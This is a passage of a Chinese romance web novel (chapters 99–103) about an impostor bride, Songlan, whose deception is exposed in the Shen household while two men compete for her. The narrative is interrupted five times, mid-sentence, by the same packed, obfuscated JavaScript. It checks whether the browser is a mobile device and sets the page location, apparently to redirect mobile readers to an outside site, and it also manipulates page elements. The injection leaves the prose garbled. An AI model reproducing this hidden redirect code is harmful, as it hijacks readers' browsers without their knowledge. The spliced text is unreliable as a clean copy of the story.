她老实地点了点头。 心底的白眼快翻到了天上。 下午的时候,海都又下了雪。 沈园的雪景很美,沈错拉着菘蓝坐在亭子里围炉煮茶。 白糯糯的年糕被炭火烤得鼓鼓囊囊的,两面是金黄的薄脆,中间咧开一道口子,吐出软糯的内里,透着热腾腾的香气。 沈错负责烤,菘蓝负责讲故事。 他还是没放过她,非要她讲个能把自己感动哭的故事。 “好香啊.......” 某只狐狸不请自来。 他披着厚厚的狐裘,一张美到雌雄莫辨的脸,隐在毛茸茸的围脖里。 他精心打扮过,柔顺的长发打理的像黑色绸缎,浮着丝丝缕缕的光泽。 他修了眉,眉型像是用工笔画勾勒出的远山,线条俊逸利落。 眼尾下方还点缀了一颗泪痣,配合着他那双勾人的狐狸眼,更显魅惑。 沈错冷冷看着他,眼底透出隐隐的敌意。 呵,打扮得这么骚气,是想要勾引谁呢? 一想起菘蓝是个颜控,沈错的唇角瞬间绷成了一条线,他故意侧了侧身子,挡住了白楚年的脸。 看到沈错侧身的动作,白楚年皱了皱眉,轻轻挪脚,调整了身位,企图在菘蓝面前增加一点露脸机会。 他一往右挪,沈错就往左侧。 不管他往哪个方向挪,沈错都稳稳挡着他。 两个人暗戳戳地较劲,谁也不肯让谁。 你挪我挪,亭子的地板被擦得锃亮,亮得能照出人影。 “你们俩干嘛呢?脚底板痒啊?” 菘蓝莫名看了两人一眼。 沈错凑到她身边,亲昵地环住她的腰: “老婆,你不要看他,看我,我比他好看。 我是纯天然无污染的,我是天生丽质,没有化妆,没有整容,没有微调,不像某些人......” 这话不仅刺耳还内涵。 白楚年眯起眸子,狭长的狐狸眼泛着幽光,他看了眼庭院的雪景道: “海都的冬天真冷啊,可惜我夫人亲手为我做的护膝落在了家里。” 菘蓝翻年糕的手抖了抖,烤到金黄的小年糕从筷子上掉了下去,快要落地的时候,被沈错伸手接住。 他眉眼弯弯,看着手里热气腾腾的年糕道: “谢谢老婆给我烤年糕,我老婆亲手烤的就是香!” 白楚年顿了顿,喉结轻轻滚动了两下,他又道: “我老婆会给我做三鲜年糕汤,她知道我爱吃,专门向大厨拜师学了手艺。” 说完,他意有所指地看了菘蓝一眼,眼底柔情万千。 菘蓝连忙避开眼神,低头去看燃烧的炭火,微红的火焰将她侧脸照得透亮。 她不敢抬头。 她招架不住白楚年那超级明显的眼神。 “我老婆会给我按摩,她手法极好,力度不轻不重,特舒服。 我老婆太爱我了,她每晚都要给我做按摩,我心疼她怕她手酸,不让她按了,她还跟我生气。” 沈错笑着嚼了两口年糕,眼底写满了炫耀。 白楚年瞥了菘蓝一眼,眸光泛着渗人的冷意。 菘蓝嘴角抽了抽。 她哪有每晚都按,她只有催眠沈错那天,才给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142511|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按了一次。 “我老婆体贴入微,温柔贤惠,她每天都给我**心早餐,每一天的早餐都不会重样。” 白楚年看着烤炉上寡淡的年糕,不屑地冷哼了一声。 “我.....我老婆给我.......” 沈错卡壳了,想了半天后,他话锋突然一转: “我老婆嫁给我是享福的,是被人伺候的,不是伺候人的。 你老婆贤惠,你老婆对你好,那她怎么丢下你跑了呢?” 这一刀实在扎心。 噎得白楚年半天没说出话,他指尖攥到发白,幽怨地看了菘蓝一眼,从齿缝里蹦出一句: “她没有丢下我,我们只是暂时分开,她会回到我身边,我也会好好待她。” 他看菘蓝的眼神太明显了,这话几乎就是对着她说的。 沈错皱了皱眉,觉得白楚年看他老婆的神情实在奇怪。 这种不清不楚的眼神,他也在周正安身上看到过。 菘蓝把头垂得更低了。 救命,这两个男人较劲,为什么要扯上她。 还有,他们两个的对话太奇怪了吧。 为什么要互相攀比老婆啊。 她不懂,但是她如芒在背,如履薄冰,如坐针毡! 她连呼吸都小心翼翼的,生怕两人当场掀桌。 她不敢想象,她身份曝光后,会闹成什么样。 恐怕世界大乱。 与此同时。 沈园外面,一辆黑色的防弹车在门口缓缓停下。 车门打开,一个身穿军装,胸前佩戴着勋章和绶带的女人下了车。 许夫人从临原的军事基地回来了。 她一下车,就问李顺: “怎么回事?我怎么听说阿错和许生他们兄弟俩闹了不愉快?阿错甚至把许生从沈园赶了出去?” 李顺支支吾吾不敢说,含糊道:“我......我也不知道。” 许夫人:“行,阿错呢?他在不在沈园?” 李顺点头:“在的在的,少爷和少夫人都在,在园子里烤年糕呢。” 许夫人:“哦?你们少夫人也在啊,行,那正好一块见见。” 第九十九章 她被揭穿 花园凉亭。 在沈错和白楚年暗戳戳较劲的时候,菘蓝默默烤好了小年糕和板栗。 年糕烤得两面金黄,鼓囊囊肚子裂开一道缝,吐出白糯糯的内馅和红豆沙。 焦褐色的板栗咧着金黄色的栗肉,散发着丝丝焦香的甜味。 她拈起一个胖胖的熟板栗,板栗有些烫,烫得她从左手倒腾到右手,还芙芙地吹了两下。 “芙芙.....芙芙......” 她睫毛轻颤,红唇嘟起,不停地冲着板栗呼气。 两个互相较劲的男人兀地停下,愣愣地看着她,心底不约而同地响起一个声音。 她,好可爱。 对这一切浑然不觉的菘蓝,继续低头剥栗子。 剥好后,她身体微微前倾,右手往上一抬。 两个男人以为她要投喂自己,心头一喜,同时伸手去接。 沈错看到白楚年的动作,漂亮的瑞凤眼猛地一压,狠狠瞪了他一眼。 这是他老婆给他的! 脸是真的大。 白楚年眉尾微微上扬,冷冷瞥了回去。 别自作多情了,你在婉婉眼里不过是个工具人罢了,用完就能抛弃的那种。 虽然他也是被抛弃的。 但一个是年抛,一个是月抛。 然,在两个男人快用眼神打起来的时候,菘蓝右手一扬,将栗子丢进了自己嘴里。 嚼吧嚼吧。 嗯,很甜很香很糯。 吃完栗子,她一抬头,看到两个男人正用一种很奇怪的眼神盯着她。 她莫名其妙地摸了摸脸:“欸?怎么了?我脸上有炉灰吗?” 白楚年眼底闪过一抹失落,回应道:“没.....没有......” 沈错收回怨念的目光,笑着凑过去,挤到火炉旁,依偎在菘蓝身边: “没有没有,老婆,我来给你剥,你负责吃就好。” 烤到咧口的板栗很好剥,两指轻轻一用力,壳啪嗒一声就成了两半,金色的栗肉冒着热腾腾的气。 他剥完一个,就投喂一个。 他递到菘蓝嘴边:“来,老婆,啊,张嘴......” 菘蓝乖乖张嘴,吃掉投喂的板栗仁。 沈错嘴角扬起幸福满足的笑意。 这一幕看得白楚年十分不爽,他轻轻瞥了沈错一眼,小声嘀咕了一句: “呵,舔狗......” 沈错耳朵微微一动,他半眯着眸子,反唇相讥道: “啧,某些人连能舔的人都没有,吃不到葡萄说葡萄酸。 我对我老婆好,天经地义,你要是对你老婆好,你老婆也不至于抛弃你。” 白楚年被扎了一下。 心脏隐隐作痛。 但是他不甘心被怼,看了一眼埋头苦吃的菘蓝,又看了一眼得意洋洋的沈错,慢悠悠道: “呵,月抛笑年抛,五十步笑百步。” 这句话没头没脑,沈错当然没听懂。 但是菘蓝听懂了。 “咳......咳咳......” 她被板栗仁噎住了,脸颊呛得通红,眼角溢出生理性的泪水。 沈错手忙脚乱地给她拍背顺气:“慢慢吃,别吃太快了。” 趁着沈错给她拍背的功夫,菘蓝偷偷瞪了一眼白楚年。 死嘴,快闭上! 白楚年不说话了,脑海里反复回放着她偷偷瞪他的那一幕。 他觉得那一幕的她娇嗔、可爱。 且独属于他。 嗯,他会尽快帮她完成任务,然后看着她无情地抛弃某只舔狗。 呵呵,想想就开心。 “宝,我也要吃一个。” 沈错看着菘蓝,指了指他剥好的一小碟板栗仁,又指了指自己的嘴巴。 “嗯,你吃啊,批准了。” 菘蓝淡淡回应。 沈错摇头,当着白楚年的面亲昵地抱住菘蓝,蹭着她的脖颈道:“老婆,我要你喂我嘛~” 他撒娇的声音恶心得白楚年起了一身的鸡皮疙瘩。 白楚年暗中攥紧了手心。 他告诫自己要忍耐、要忍耐、要忍耐! 小不忍则乱大谋。 他不能再惹她生气。 菘蓝被沈错闹得没办法,扬手丢了个板栗仁给他。 “老婆对我真好!” 他眉眼一弯,搂着菘蓝的肩膀,吧唧亲了她一口。 “啪!” 白楚年手中的茶盏捏碎了。 他眼底有一片黑色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142512|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西在翻涌,那是憋屈的愤怒和杀意。 菘蓝垂着头,不敢看他,一个劲地抠手皮,心里一阵腹诽。 自己没事非要挨过来找虐,这可怪不了她昂........ 沈错看着一地的碎瓷,细细眯起了眼睛,他怪声怪气地看向白楚年: “咦?你这人真奇怪,我亲我老婆,你摔什么杯子? 难道你自己婚姻不幸,就嫉妒别人夫妻恩爱? 你这样的人,活该老婆跑了。” 沈错抱着菘蓝的手,箍得更紧了。 他还非要贴着她的脸,亲昵地蹭啊蹭,一边蹭一边抬眸看向白楚年。 眼中竟是炫耀和挑衅。 白楚年眼底的怒火越烧越旺,越燃越烈,大有喷发之势。 菘蓝头皮发麻。 她感觉自己好像被架在火上烤一样,每一面都备受煎熬。 唉,什么因得什么果。 她谁也怪不了,只能说如今的局面,是她的报应。 就在这时。 几个人朝着亭子走了过来。 沈错一眼就看到了许夫人,他知道她今天回来,便朝她伸手打招呼:“干妈!” 听到这声干妈,菘蓝瞳孔骤缩,身躯狠狠一震,她手一抖,手里的板栗仁骨碌碌滚到了地上。 什么?许夫人来了? 她不是回基地了吗! 菘蓝脑瓜子顿时嗡嗡的。 沈错冲许夫人打完招呼,看向怀里的菘蓝,跟她解释道: “哦,我忘了告诉你了,干妈给我打过电话,她在回云都之前,想见见我们。” 许夫人本来是想从基地直接回云都的,但听说沈错和许生闹了矛盾,便直接折了回来。 看着越走越近的身影,菘蓝浑身的汗**瞬间炸开。 她现在跑还来得及吗! “我.....我身体好像有些不舒服,我......我先回去了。” 她急急背过身子,挣脱沈错的怀抱,想往另一边跑。 但已经迟了。 许夫人已经看到了她的脸。 看到菘蓝,许夫人微微错愕了一下,英气的眉头往下一压,锐利的目光瞬间钉在了她身上。 “你怎么在这里?” 第一百章 她是骗子 “嗯?干妈你跟蓝儿认识?” 还不知道情况的沈错,笑着牵起菘蓝的手,看向许夫人道: “干妈,这是蓝儿,我夫人,您的儿媳妇。” 许夫人目光幽幽地看着菘蓝,审视的眼风在她脸上扫来扫去,然后抬眸看向沈错,声音冷厉道: “你确定?” 菘蓝脸色瞬间苍白,瞳孔因紧张急剧扩散,身体不自觉地轻轻颤了两下。 一股战栗的寒意自脚底蹿向头顶,冲击着她紧绷的每一根神经。 一切来得太突然,太猝不及防。 她连任何回旋的余地都没有。 许夫人异常的语气和反应,让沈错皱了皱眉,他握着菘蓝微凉的指尖道:“是啊,徐幼蓝,徐家的千金,我老婆。” “呵......” 许夫人轻蔑地扫了菘蓝一眼,吩咐身边警卫,指向她道: “给我抓住她,抓住这个满口谎言,到处招摇撞骗的女骗子!” 一声令下,警卫呼啦一声,齐齐出动。 “你们干什么!” 沈错目光一凛,护住菘蓝,挡在了她身前。 同时挡在前面的人还有白楚年。 白楚年也没想到,这场你瞒我瞒的游戏居然这么快就终结了。 不过这样也好,他不用再忍,不用再看自己心爱的女人跟别的男人卿卿我我。 他直接看向菘蓝道:“婉婉别怕,我护着你,谁也动不了你。” 说完,他朝菘蓝伸出手,声音轻柔道:“来,过来。” 沈错和许夫人同时看向白楚年。 婉婉? 那不是白楚年那个死遁跑路的妻子吗? 白楚年妻子假死逃跑的瓜,在圈子里可是传遍了。 场上所有的目光,瞬间又汇聚到了菘蓝身上,灼热和探究的视线,几乎要将她洞穿。 细密的冷汗从额角沁出,菘蓝的身体像寒风中最后一片叶子,伶仃地颤动。 她紧抿着唇,脊柱虽然挺得笔直,却透着一股被击穿的脆弱。 她知道,她完了。 场上一片混乱,沈家的佣人们也都跑来看热闹。 许夫人凌厉的眼刀狠狠剜向菘蓝: “怎么?原来你还假扮李婉,嫁到过白家? 真是没想不到,你居然骗了这么多人,我当年就不应该放过你!” 她已经猜出许生为什么不肯跟她回云都,为什么会跟沈错闹僵了关系。 好啊,祸害了她一个儿子还不够,还要祸害两个。 许夫人怒意滔天,冲着警卫冷喝一声:“把她抓起来,带走!” 就在这时。 许生突然从园外跑了进来,他额头上全是汗,细碎的微分刘海紧紧贴在额头上,敛起的眼尾曳着冷冽。 他没想到他母亲会突然折回海都,不然他肯定会阻止。 他挡在菘蓝身前,面对众人,张开双臂。 【不,不许。】 不许伤害姐姐! 看到许生护在菘蓝面前,许夫人更生气了,她怒喝道: “你个傻子,你怎么还护着这个女骗子!让开!” 看热闹的人越来越多,议论声也越来越大,甚至有人跑去请沈老爷子。 “干妈,我不太清楚到底是什么回事,但不管是什么情况,您都不能当着我的面,抓我夫人吧?” 沈错缓缓站了出来,他刚刚一直没说话,因为信息量太大了,他得消化消化。 他的语气很平淡,尾音微微上扬,他长长的睫毛微垂着,在眼睑处投下一片淡淡的阴影,旁人看不清他眼底的神色。 许夫人意识到自己太心急了,还没把事情解释清楚,便指着菘蓝道: “阿错,我告诉你,你身边的这个人,根本不是徐幼蓝。 她是一个灰色组织的成员,专门顶替别人身份嫁进豪门,最后携款逃跑,她已经骗了很多人了。” 【不,不是,姐姐不是这样的。】 许生飞速比划手势,替菘蓝辩解。 姐姐才不是这么恶劣的人。 许夫人直接忽略了许生,她看向沈错道: “你要是不信,可以把徐念青喊来对质,恐怕徐幼蓝根本不想嫁你,所以找了个替身来糊弄你。” 沈错听完,掀起眼皮,语气淡淡道: “干妈,我想您应该是认错人了,您说的那个骗子或许跟我夫人长相有些相似。” 说完,他直接把脸色发白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142513|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的菘蓝拉到怀里,轻轻瞥了许夫人的警卫们一眼: “我夫人很胆小,你们不要吓到她。” 他声音很轻,却充满了警告的意味。 男人温热的胸膛让菘蓝身体微微一怔,她攥着发白的指尖,用余光瞄了沈错一眼。 看到他面色平静,她眼底闪过一丝疑惑。 沈错的反应太出乎她的意料了。 她现在吃不准他的心思,只能静观其变了。 许夫人是个暴脾气,一点就着。 现在的她,只能保持沉默,她一旦开口说话,只会激化场上的矛盾。 眼看场上几个男人都护着菘蓝,许夫人冷笑着瞥了她一眼:“你倒是挺有本事。” 菘蓝垂着眸子,抿唇不语。 沈错很不喜欢许夫人的语气,他微微皱了皱眉: “干妈,您舟车劳顿一定累了,我让人给您安排了住处,您先休息吧,我们有空再聊。 至于蓝儿的事,还请您不要妄议,她是沈家的少夫人,是我最珍爱的人。 我容不得别人说她半点坏话,即便是您也不行。 还有,您没有任何权利,带走我身边的人。” 对于许夫人,他念及旧情,一直是敬重的。 但如果她要是针对他老婆,那对不起。 他老婆最大。 说完,沈错直接拉着菘蓝离开了,留下一堆人在冷风中大眼瞪小眼。 ........... 回到水云居。 沈错把所有人都赶了出去,他关上门,静静看向菘蓝。 他平静的眸底逐渐撕开裂痕,透出森冷、阴寒、暴虐、恐怖的气息。 菘蓝身体颤了颤,攥紧了裙摆。 果然,他没想放过她。 她一步步后退,他一步步紧逼,一直把人逼到墙角。 他双手撑在墙上,把人禁锢在怀里,他就静静看着她,不说话,也没有任何动作。 菘蓝也不敢动,像鹌鹑一样缩着。 两人就这么僵持着。 僵持了半个小时,菘蓝受不了了,“你.....你想怎样。” 听闻,沈错突然笑了,他道: “宝,你知不知道,你这是危险发言。” 第一百零一章 造谣!造谣!全是造谣! 菘蓝没听懂。 “什.....什么危险发言。” 她浑然不知,她刚刚那句“你想怎样”,落在男人耳朵里的意思就是——任君处置。 男人半眯着眸子,额前垂落的发丝投出灰色阴影,嘴角勾起一抹晦暗不明的笑意。 给人一种阴恻恻的感觉。 菘蓝不敢看他,也不敢再说话。 她紧张地抿着唇,雪白的小脸绷成了雕塑,她甚至不敢呼吸,她怕一呼吸,会引起对面的冰山爆发雪崩。 她在自欺欺人地减少存在感。 欺骗沈错的下场是什么,她不敢想。 她好希望自己是一朵蘑菇,安安静静长在墙角就行了。 “你是要把自己憋死吗?” 男人俯着身子,凝视着她,不放过她脸上一丝一毫的表情。 虽然她莫得表情..... “我没有夺走你的空气。” 他声音有点恨恨的。 沈错:“呼吸!” “呼......” 她缓了口气。 看到她这幅样子,男人叹了口气,敛起眸光,将所有的负面情绪压成了薄片,藏在心底。 “饿了吗?我们去吃饭,吃完饭我带你出去玩,你想去哪里玩?” 他好像什么也没有发生过一样,语气轻轻淡淡。 他把情绪控制的很稳定。 欸? 菘蓝歪着头诧异看着他,看到他眼底风平浪静,刚刚的滔**气似乎只是错觉。 她以为,按照沈错的性格,他会气到暴走,然后愤怒地将她五马分尸。 结果什么也没发生。 两人坐到了餐桌前,佣人端上丰盛的菜肴,几乎全都是菘蓝平时爱吃的。 向往常一样,沈错动手给她剥虾。 她负责吃,他负责剥。 气氛意外的和谐。 园子里,沈家的佣人们都在窃窃私语。 “你们听说了吗?咱们这个少夫人好像是假冒的。” “听说了,我还听说她是职业骗子,先后冒名嫁了好几个人。” “天呐,那岂不是公交车!” “是啊,是啊,都被揭穿了,她怎么还有脸待在沈家,太不要脸了。” “嘘!嘘!都别说话了,老爷子来了。” 沈老爷子今天连拐杖都没拄,气势冲冲地赶来了。 平日笑容和蔼的老头子,如今绷着一张脸,他沉甸甸的目光往人群里一扫,顿时没人敢说话了。 佣人们低着头,各自干各自的事情。 沈老爷子冷哼了一声,背着双手进了水云居,身后跟了一堆人。 他一进门,就看到沈错在给菘蓝剥虾,两人好像什么事都没有。 老爷子愣了愣。 他本以为,这个女骗子现在已经被他怒不可遏的孙子打个半**。 “你来干什么?” 沈错看到沈老爷子,掀了下眼皮,语气冷冰冰的,还带着一丝不耐烦。 他对于沈老爷子,一向不怎么尊敬。 沈老爷子似乎已经习惯了沈错对自己的态度,他转头把怒气发泄到了菘蓝身上,指着她道: “出了这么大的事,我当然要来,你打算怎么处置这个冒牌货?还有徐家,你打算怎么做?” 老爷子重重拍了下桌子,震得桌子上的碗碟都在颤抖。 他气急了。 徐家居然随便找了个人来替嫁,这简直没把他们沈家放在眼里! 一个小小的徐家,居然敢这样**他们! “假的,谣言,别信。” 沈错一句话,直接把沈老爷子满腔的怒气堵在了喉咙口。 “什.....什么?” 沈老爷子眼珠子瞪得老大,惊得半天说不出一句话。 沈错不耐烦地扬了扬眉,冷冰冰道: “你聋了?我说了是谣言,人老了听不懂话,就**。” 沈老爷子自动忽略了沈错的后半句,继续道:“可.....可是许家.......” 沈错:“误会,他们认错人了,蓝儿只是跟他们口中的那个骗子长得相像而已。” 沈老爷子听闻,打量了眼菘蓝。 菘蓝垂着眸子,安静乖巧地坐在沈错旁边,眼尾湿漉漉的,像是刚委屈得哭了一场。 老爷子身上的怒气瞬间消散了。 也是,肯定不是真的。 如果是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142514|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,按照错儿的性格,这女人不可能还活到现在。 “行吧,那我走了,园里的佣人,你也管管,整天乱嚼舌根。” 沈老爷子咳嗽了两声,给自己找了个台阶下。 沈错继续低头吃饭,自始至终都懒得看沈老爷子一眼。 菘蓝其实挺奇怪他们爷孙的相处模式。 一般来说,小辈肯定要敬重长辈,小辈就算再得宠,也不可能这样对待家里的老人。 关键是,老人好像一点也不生气,似乎已经......习惯了。 沈错喊来李顺,嘱咐道: “李顺,你去告诉园里所有人,今天上午的事,是个误会,不要再乱传,也不准再议论。” 李顺连连点头:“好!” 菘蓝垂着头,睫毛轻轻颤动,眼底幽光闪闪。 事情的发展和走向太诡吊了。 她现在也越来越看不懂沈错了。 许夫人要捉拿她的时候,许生和白楚年的反应那么明显了,这件事,沈错压根都不用去查了。 她被锤得死死的。 沈错什么都知道,却还包庇她。 那么......应该是不想再另娶别人。 她从来都不过问他的事情,也不管他,他有极大的自由。 如果她走了,他还得重新娶一个,很可能会妨碍到他和他外面的心上人。 嗯.....应该是这样。 沈错见菘蓝半天不动筷子,问道:“怎么不吃了?你吃饱了?” 菘蓝点了点头:“嗯。” 沈错:“那我们回屋休息,睡完午觉,我带你去出去兜风。” 菘蓝:“好。” 如果他有意维持这段关系,那么她也会奉陪。 徐念青又病倒了,他的病情越来越重,甚至还产生了幻听,恐怕离精神崩溃不远了。 破除他心魔的唯一解药,就是查清沈夫人的事情。 沈夫人是死是活总要有个定论。 不然这委托金,她也拿得不安心。 就在这时。 李顺从外面慌慌张张地跑了进来,他惊惶道: “少爷,不好了,少夫人上头条了,有人举报了少夫人!” 第一百零二章 只要他不承认,她就是他老婆 微博头条。 “真千金悔婚逃跑,职业冒牌女替嫁豪门。” 菘蓝替嫁徐幼蓝的事情被曝光了,帖子里甚至贴出了她跟许生订婚宴的照片。 同一个人,怎么跟许家订了婚,转头又成了沈家的少夫人。 吃瓜群众直呼刺激。 帖子的浏览量分分钟上亿。 沈错看完帖子,目光落在菘蓝跟许生的订婚照上。 那时候的菘蓝比现在圆润了点,照片上的她剪着齐刘海,穿着红色的秀禾服,巧笑倩兮,美目盼兮,明媚动人。 他眸色逐渐暗沉,捏着手机的指尖寸寸泛白。 菘蓝皱了皱眉。 这照片是谁发出来的? 许夫人吗? 可许夫人也不会做这种事啊,她都正面刚的,这不是她的作风。 李顺:“少爷,怎么办啊?外面都在传.......” 沈错眯起眼睛:“是造谣,给发这个帖子的人发律师函,起诉他造谣。” 李顺抽了抽嘴角:“可.....可少夫人跟.....跟许生少爷的未婚妻长得一模一样........” 沈错指着照片: “哪里一样了?她是杏仁眼,我老婆是桃花眼,她上唇厚,我老婆上唇薄,五官也不相似啊,你再仔细看看。” 李顺又看了看,发现五官确实有点细微的差别。 菘蓝瞥了眼照片,抿紧了唇角。 照片上的人确实是她,只不过她化了点妆。 容云儿当初找她替嫁,就是因为她跟容云儿长得很像,随便化化妆,旁人都很难分辨出来。 打发李顺去辟谣后,沈错回到楼上,他抬头看了眼雾沉沉的天空,重重吐了口浊气。 不管外面曝什么料,统统都是造谣。 只要他不认,那她就还是他老婆。 “你应该早就发觉我的身份有问题了吧。” 菘蓝垂眼看着手机,声音淡淡道。 他现在能这么平静,肯定是早就知道了点什么。 只是她不知道,他是从什么时候开始怀疑她的。 “那些都不重要了,你的过去也不重要了,我现在只珍惜当下。” 男人走到窗边,静静看着坐在沙发上的人,阳光透过窗户照在他身上,因为骨相优越,五官立体,他的面部阴影错落,掩住了脸上一闪而逝的复杂情绪。 菘蓝想了想道: “既然都挑明了,那我们就打开天窗说亮话吧,你需要我怎么配合你?是像以前一样吗?” 沈错眸光微微一凝:“什么?” 她继续道:“你也知道,我是收钱办事的,既然你要我陪你继续演,那你得付我工资,看在你也帮了我的份上,给你打个折吧。” 有钱不赚是傻蛋,能薅一点是一点。 “演?演什么?” 男人的声音冷了几个度。 他突然有点生气了。 他嘴角漾开笑意,眼底的冷意一层层荡开,他好不容易压下去的负面情绪,一点点又浮了上来。 “你觉得我对你的好,都是在演?是演给家里看的?” 菘蓝怔愣地看向他:“不.....不是吗......” “徐幼蓝!你.......” 沈错从齿缝中蹦出了几个字,然后突然熄了声。 他想起来,他还不知道她的真名。 她的名字是假的,她的身份是假的,她自然也觉得他们之间的关系是假的。 这么一想,她能说出这种话,也挺合理的。 男人双手垂在身侧,肩膀微微垮了下来,他意味不明地冷笑了一声,像是在嘲讽,但不知道在嘲讽谁。 他缓缓闭上眼,咽下喉咙里的酸楚,努力控制情绪。 他在试图把她的一切都合理化。 良久,他问了一句:“那天,你在医院说的那句话,是真心的吗?” 菘蓝蹙着眉心:“哪.....哪句?” 听闻,沈错自嘲地笑了笑:“算了,也不重要了。” 他已经知道答案了,不是吗。 但是没关系,这也不重要。 当天下午,沈家的辟谣贴就登上了热搜。 帖子里贴出了造谣起诉函,并配上了容云儿和菘蓝的容貌对比图。 两人只是长相相似,不是同一个人。 帖子里还贴了一张,许生订婚当天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142515|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,菘蓝在国外某高校图书馆学习的照片。 瓜是假的,吃瓜群众原地解散。 “砰!” 住在别苑的白楚年又捏碎了一个茶盏。 他没有想到,沈错居然维护菘蓝维护到了这个地步。 他本以为,事情闹到这份上,他们两个肯定撕破脸了。 他还想借这件事情,让菘蓝脱离沈家,回到自己身边。 看着满地的碎瓷,白楚年狭长的狐狸眼微微眯起,透着阴险的算计。 嗯,坏点子生成中。 ........... 水云居。 一个倚着墙站着,一个抱着膝盖坐在沙发上。 两个人都不说话。 僵持了一会,沈错开口道:“行吧,那你开个价。” 菘蓝疑惑地眨了眨眼:“嗯?什么......开什么价?” 沈错:“聘请你扮演我爱妻的委托金啊。” 菘蓝:“额......” 她偷偷觑了沈错一眼,发现他神情严肃,好像是认真的。 “那......那一天十万,日结。” 反正他有钱,这钱能光明正大的薅,不薅白不薅嘛。 “日结?” 沈错喉结微微滚动。 她要日结,是没打算长住,她还是想跑....... 菘蓝:“不行吗?那.....那月结吧.....一个月300万。” 男人去拿纸笔的手微微一顿,眼尾迅速掠过一抹暴戾的红。 他终于明白,当时白楚年说的月抛和年抛是什么意思了。 就在这时,沈错的手机突然亮了。 消息栏跳出几个弹窗: 【图片】 【图片】 【图片】 他蹙着眉,点开了图片,看完之后,他的脸彻底黑了。 三张照片。 第一张,菘蓝穿着睡袍,坐在一个男人的大腿上,她的手抚摸着男人的胸膛。 第二张,她和一个没穿衣服的男人坐在浴桶里,她薄透的裙子被水浸湿,玲珑的身躯纤毫毕露。 第三张,她亲昵地依偎在男人怀里,拿着汤匙舀了一勺粥,喂到男人嘴边。 第一百零三章 爱妻合同 ——嗡—— 男人脑子里紧绷的那根弦轰然断了。 他一直拼命压抑的情绪,被三张照片煽成了燎原大火。 震惊、愤怒、嫉妒像三只出笼的野兽,疯狂啃咬着他残存的理智。 骨子里的暴戾和躁意,让他在失控的边缘摇摇欲坠。 他缓缓抬眸,眼底灼烧着愈演愈烈的狂乱,他像一头凶狠的猛兽,死死盯着角落里的菘蓝。 “你......你怎么了?” 菘蓝被他双眸猩红的样子吓了一跳,她下意识往后缩了缩,身体往门口的方向微微倾斜。 脖颈上早就消失的掐痕开始隐隐作痛,她嗅到了一丝致命的危险。 她还记得,他上一次暴走之前,就是这个状态。 虽然不知道发生了什么,但眼前的男人明显不正常,菘蓝紧张地咽了口唾沫,她弓着身子,绷直脚背,余光盯着门口,随时准备逃跑。 上一次男人失控的可怕模样,像阴影一样笼罩在她心头。 逃! 她得立即逃走!不逃就死! 外面。 白楚年带着保镖在一墙之隔的地方静静候着。 没有任何一个男人能够受得了那样的刺激,更何况是情绪本就不稳定的沈错。 他在等,等一道惊慌失措的尖叫声。 他不会让他的婉婉受伤的,他会及时冲进去救下她,会让她看清沈错是一个什么样的可怕怪物。 屋里安静极了。 周围的空气压得人喘不过气。 菘蓝向受惊的兔子一样,脸色惨白,她的身体不受控制地抖了起来。 上一次濒死的惨痛教训,像烙印一样烙进了她的记忆。 她不明白沈错为什么突然变成了这个样子,她明明没有提及任何跟沈夫人有关的话题。 阴暗的角落里,突然响起一道很轻很轻的声音: 